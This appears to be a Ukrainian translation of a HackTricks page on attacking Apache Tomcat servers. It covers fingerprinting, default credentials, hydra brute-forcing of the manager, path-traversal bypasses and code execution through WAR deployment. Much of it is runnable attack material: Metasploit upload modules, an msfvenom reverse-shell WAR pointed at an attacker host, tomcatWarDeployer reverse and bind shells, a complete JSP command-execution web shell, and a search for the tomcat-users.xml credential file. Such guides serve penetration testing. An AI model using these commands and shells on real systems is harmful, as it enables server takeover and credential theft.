Tomcat

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Група Try Hard Security


Відкриття

  • Зазвичай працює на порту 8080

  • Загальна помилка Tomcat:

Перелік

Ідентифікація версії

Щоб знайти версію Apache Tomcat, можна виконати просту команду:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Місцезнаходження файлів менеджера

Визначення точних місць розташування каталогів /manager та /host-manager є критичним, оскільки їх назви можуть бути змінені. Рекомендується використовувати метод перебору для пошуку цих сторінок.

Перелік імен користувачів

Для версій Tomcat старших за 6 можливе перелічення імен користувачів через:

msf> use auxiliary/scanner/http/tomcat_enum

Стандартні облікові дані

Директорія /manager/html є особливо чутливою, оскільки дозволяє завантаження та розгортання WAR-файлів, що може призвести до виконання коду. Ця директорія захищена базовою HTTP-аутентифікацією, а серед загальних облікових даних можуть бути:

  • admin:admin

  • tomcat:tomcat

  • admin:

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

Ці облікові дані можна перевірити за допомогою:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Ще однією помітною директорією є /manager/status, яка відображає версію Tomcat та ОС, допомагаючи в ідентифікації вразливостей.

Атака методом грубої сили

Для спроби атаки методом грубої сили на директорію менеджера можна використати:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Загальні вразливості

Розкриття слідування за паролем

Доступ до /auth.jsp може розкрити пароль у слідуванні за щасливими обставинами.

Подвійне кодування URL

Вразливість CVE-2007-1860 в mod_jk дозволяє подвійне кодування URL для обходу шляху, що дозволяє несанкціонований доступ до інтерфейсу управління за допомогою спеціально створеного URL.

Для доступу до веб-інтерфейсу управління Tomcat перейдіть за посиланням: pathTomcat/%252E%252E/manager/html

/приклади

Приклади скриптів Apache Tomcat версій 4.x до 7.x піддаються розкриттю інформації та атакам на міжсайтовий скриптінг (XSS). Ці скрипти, перелічені докладно, повинні бути перевірені на несанкціонований доступ та потенційну експлуатацію. Знайдіть додаткову інформацію тут

  • /examples/jsp/num/numguess.jsp

  • /examples/jsp/dates/date.jsp

  • /examples/jsp/snp/snoop.jsp

  • /examples/jsp/error/error.html

  • /examples/jsp/sessions/carts.html

  • /examples/jsp/checkbox/check.html

  • /examples/jsp/colors/colors.html

  • /examples/jsp/cal/login.html

  • /examples/jsp/include/include.jsp

  • /examples/jsp/forward/forward.jsp

  • /examples/jsp/plugin/plugin.jsp

  • /examples/jsp/jsptoserv/jsptoservlet.jsp

  • /examples/jsp/simpletag/foo.jsp

  • /examples/jsp/mail/sendmail.jsp

  • /examples/servlet/HelloWorldExample

  • /examples/servlet/RequestInfoExample

  • /examples/servlet/RequestHeaderExample

  • /examples/servlet/RequestParamExample

  • /examples/servlet/CookieExample

  • /examples/servlet/JndiServlet

  • /examples/servlet/SessionExample

  • /tomcat-docs/appdev/sample/web/hello.jsp

Експлуатація обходу шляху

У деяких вразливих конфігураціях Tomcat ви можете отримати доступ до захищених каталогів в Tomcat за допомогою шляху: /..;/

Таким чином, наприклад, ви можете отримати доступ до сторінки керування Tomcat, перейшовши за посиланням: www.vulnerable.com/lalala/..;/manager/html

Ще один спосіб обійти захищені шляхи за допомогою цього трюку - це доступ до http://www.vulnerable.com/;param=value/manager/html

RCE

Нарешті, якщо у вас є доступ до Менеджера веб-додатків Tomcat, ви можете завантажити та розгорнути файл .war (виконати код).

Обмеження

Ви зможете розгорнути WAR лише якщо у вас є достатньо привілеїв (ролі: адміністратор, менеджер та менеджер-скрипт). Ці деталі можна знайти у tomcat-users.xml, як правило, визначеному в /usr/share/tomcat9/etc/tomcat-users.xml (відрізняється від версії) (див. POST section).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

Зворотній оболонковий код MSFVenom

  1. Створіть військовий корабель для розгортання:

msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. Завантажте файл revshell.war та отримайте до нього доступ (/revshell/):

Прив'яжіть та здійсніть зворотний шелл за допомогою tomcatWarDeployer.py

У деяких сценаріях це не працює (наприклад, у старих версіях sun)

Завантажити

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Зворотній shell

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Прив'язка оболонки

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Використання Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Ручний метод - Веб-шел

Створіть index.jsp з таким вмістом:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Ви також можете встановити це (дозволяє завантаження, завантаження та виконання команд): http://vonloesch.de/filebrowser.html

Ручний метод 2

Отримайте JSP веб-оболонку, таку як цю та створіть WAR-файл:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Назва файлу облікових даних Tomcat - tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Інші способи отримання облікових даних Tomcat:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Інші інструменти для сканування tomcat

Посилання

Група з безпеки Try Hard

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated